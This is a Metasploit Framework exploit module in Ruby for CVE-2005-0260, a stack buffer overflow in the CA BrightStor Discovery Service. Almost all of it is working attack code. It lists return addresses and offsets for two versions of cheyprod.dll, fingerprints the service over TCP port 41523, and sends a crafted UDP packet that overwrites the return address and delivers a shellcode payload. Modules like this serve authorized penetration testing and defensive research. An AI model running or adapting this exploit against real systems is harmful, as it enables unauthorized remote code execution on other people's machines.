CA BrightStor Discovery Service Stack Buffer Overflow



##

# $Id: discovery_udp.rb 9263 2010-05-09 17:52:51Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Udp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'CA BrightStor Discovery Service Stack Buffer Overflow',
            'Description'    => %q{
                    This module exploits a vulnerability in the CA BrightStor
                Discovery Service. This vulnerability occurs when a large
                request is sent to UDP port 41524, triggering a stack buffer
                overflow.
            },
            'Author'         => [ 'hdm', 'patrick' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9263 $',
            'References'     =>
                [
                    [ 'CVE', '2005-0260'],
                    [ 'OSVDB', '13613'],
                    [ 'BID', '12491'],
                    [ 'URL', 'http://www.idefense.com/application/poi/display?id=194&type=vulnerabilities'],
                ],
            'Privileged'     => true,
            'Payload'        =>
                {
                    'Space'    => 2048,
                    'BadChars' => "\x00",
                    'StackAdjustment' => -3500,
                },
            'Targets'        =>
                [
                    [
                        'cheyprod.dll 12/12/2003',
                        {
                            'Platform' => 'win',
                            'Ret'      => 0x23808eb0, # call to edi reg
                            'Offset'   => 968,
                        },
                    ],
                    [
                        'cheyprod.dll 07/21/2004',
                        {
                            'Platform' => 'win',
                            'Ret'      => 0x2380a908, # call edi
                            'Offset'   => 970,
                        },
                    ],
                ],
            'DisclosureDate' => 'Dec 20 2004',
            'DefaultTarget' => 0))

        register_options(
            [
                Opt::RPORT(41524)
            ], self.class)
    end

    def check

        # The first request should have no reply
        csock = Rex::Socket::Tcp.create(
            'PeerHost'  => datastore['RHOST'],
            'PeerPort'  => 41523,
            'Context'   =>
                {
                    'Msf'        => framework,
                    'MsfExploit' => self,
                })

        csock.put('META')
        x = csock.get_once(-1, 3)
        csock.close

        # The second request should be replied with the host name
        csock = Rex::Socket::Tcp.create(
            'PeerHost'  => datastore['RHOST'],
            'PeerPort'  => 41523,
            'Context'   =>
                {
                    'Msf'        => framework,
                    'MsfExploit' => self,
                })

        csock.put('hMETA')
        y = csock.get_once(-1, 3)
        csock.close

        if (y and not x)
            return Exploit::CheckCode::Detected
        end
        return Exploit::CheckCode::Safe
    end

    def exploit
        connect_udp

        print_status("Trying target #{target.name}...")

        buf = rand_text_english(4096)

        # Target 0:
        #
        # esp @ 971
        # ret @ 968
        # edi @ 1046
        # end = 4092

        buf[target['Offset'], 4] = [ target.ret ].pack('V')
        buf[1046, payload.encoded.length] = payload.encoded

        udp_sock.put(buf)
        udp_sock.recvfrom(8192)

        handler
        disconnect_udp
    end

end